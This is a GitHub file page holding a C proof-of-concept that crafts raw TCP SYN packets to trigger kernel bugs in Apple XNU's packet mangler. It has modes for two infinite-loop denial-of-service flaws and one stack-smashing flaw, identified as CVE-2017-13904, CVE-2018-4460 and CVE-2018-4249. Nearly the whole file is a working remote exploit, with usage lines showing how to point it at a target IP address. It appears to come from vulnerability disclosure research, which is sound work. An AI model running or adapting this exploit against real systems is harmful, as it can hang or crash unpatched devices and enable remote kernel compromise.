-
Notifications
You must be signed in to change notification settings - Fork 283
Expand file tree
/
Copy pathcve-2017-13904-poc.c
More file actions
217 lines (185 loc) · 5.8 KB
/
cve-2017-13904-poc.c
File metadata and controls
217 lines (185 loc) · 5.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
/*
* Copyright Kevin Backhouse / Semmle Ltd (2018)
* License: Apache License 2.0
*
* The code in this file is derived from code written by Silver Moon.
* Silver Moon's original version is available at this url:
* http://www.binarytides.com/raw-sockets-c-code-linux/
*/
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#define TCP_OPT_MULTIPATH_TCP 30
// 96 bit (12 bytes) pseudo header needed for tcp header checksum calculation
struct pseudo_header
{
u_int32_t source_address;
u_int32_t dest_address;
u_int8_t placeholder;
u_int8_t protocol;
u_int16_t tcp_length;
};
// Generic checksum calculation function
unsigned short csum(unsigned short *ptr, int nbytes)
{
long sum;
unsigned short oddbyte;
short answer;
printf("nbytes = %d\n", nbytes);
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1) {
oddbyte = 0;
*((u_char*)&oddbyte) = *(u_char*)ptr;
sum += oddbyte;
}
sum = (sum>>16) + (sum & 0xffff);
sum = sum + (sum>>16);
answer = (short)~sum;
printf("answer = 0x%x\n", answer);
return answer;
}
enum Mode {
InfiniteLoopMode, // CVE-2017-13904
InfiniteLoopMode2, // CVE-2018-4460
SmashStackMode // CVE-2018-4249
};
int main(int argc, char* argv[])
{
int s = 0;
const int datagramsize = 4096;
int payloadsize = 40;
// Datagram to represent the packet
char datagram[datagramsize], source_ip[32], dest_ip[32], *data , *pseudogram;
enum Mode mode = 0;
if (argc != 4) {
printf("Usage: sudo ./a.out <source ip> <dest ip> <mode>\n");
printf("Examples:\n");
printf(" sudo ./a.out 192.168.0.8 192.168.0.12 infinite\n");
printf(" sudo ./a.out 192.168.0.8 192.168.0.12 infinite2\n");
printf(" sudo ./a.out 192.168.0.8 192.168.0.12 smashstack\n");
return 1;
}
strncpy(source_ip, argv[1], sizeof(source_ip));
strncpy(dest_ip, argv[2], sizeof(dest_ip));
source_ip[sizeof(source_ip) - 1] = '\0';
dest_ip[sizeof(dest_ip) - 1] = '\0';
if (strcmp(argv[3], "infinite") == 0) {
// CVE-2017-13904
mode = InfiniteLoopMode;
} else if (strcmp(argv[3], "infinite2") == 0) {
// CVE-2018-4460
mode = InfiniteLoopMode2;
printf("infinite2\n");
} else if (strcmp(argv[3], "smashstack") == 0) {
// CVE-2018-4249
mode = SmashStackMode;
payloadsize = 1000;
} else {
printf("Mode not recognized. Choose from:\n");
printf(" infinite\n");
printf(" smashstack\n");
return 1;
}
printf("source: %s\n", source_ip);
printf("dest: %s\n", dest_ip);
printf("mode: %d\n", mode);
s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if (s == -1) {
printf("Failed to create socket. Try running with sudo.\n");
return 1;
}
memset (datagram, 0, datagramsize);
// IP header
struct iphdr *iph = (struct iphdr *) datagram;
// TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
// Data part
data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
memset(data, 1, payloadsize);
if (mode == InfiniteLoopMode) {
// Trigger bug here:
// https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L966
data[0] = 2;
data[1] = 0;
} else if (mode == InfiniteLoopMode2) {
// Trigger bug here:
// https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L993
data[0] = TCP_OPT_MULTIPATH_TCP;
data[1] = 0;
}
// some address resolution
sin.sin_family = AF_INET;
sin.sin_port = htons(22);
sin.sin_addr.s_addr = inet_addr(dest_ip);
// Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + payloadsize;
iph->id = htonl (54321); // Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; // Set to 0 before calculating checksum
iph->saddr = inet_addr(source_ip);
iph->daddr = sin.sin_addr.s_addr;
// Ip checksum
iph->check = csum((unsigned short *) datagram, iph->tot_len);
// TCP Header
tcph->source = htons (1234);
tcph->dest = htons (22);
tcph->seq = 0;
tcph->ack_seq = 0;
if (mode == SmashStackMode) {
// Trigger bug here:
// https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L951
tcph->doff = 0;
} else {
tcph->doff = 0xF;
}
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); // maximum allowed window size
tcph->check = 0; // leave checksum 0 now, filled later by pseudo header
tcph->urg_ptr = 0;
// Now the TCP checksum
psh.source_address = inet_addr(source_ip);
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr) + payloadsize);
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + payloadsize;
pseudogram = malloc(psize);
memcpy(pseudogram, (char*) &psh, sizeof (struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr) + payloadsize);
tcph->check = csum((unsigned short*)pseudogram, psize);
// IP_HDRINCL to tell the kernel that headers are included in the packet
int one = 1;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &one, sizeof (one)) < 0) {
printf("Error setting IP_HDRINCL\n");
return 1;
}
// Send the packet
if (sendto (s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0) {
printf("sendto failed\n");
return 1;
}
// Data sent successfully
printf ("Packet Send. Length : %d \n", iph->tot_len);
return 0;
}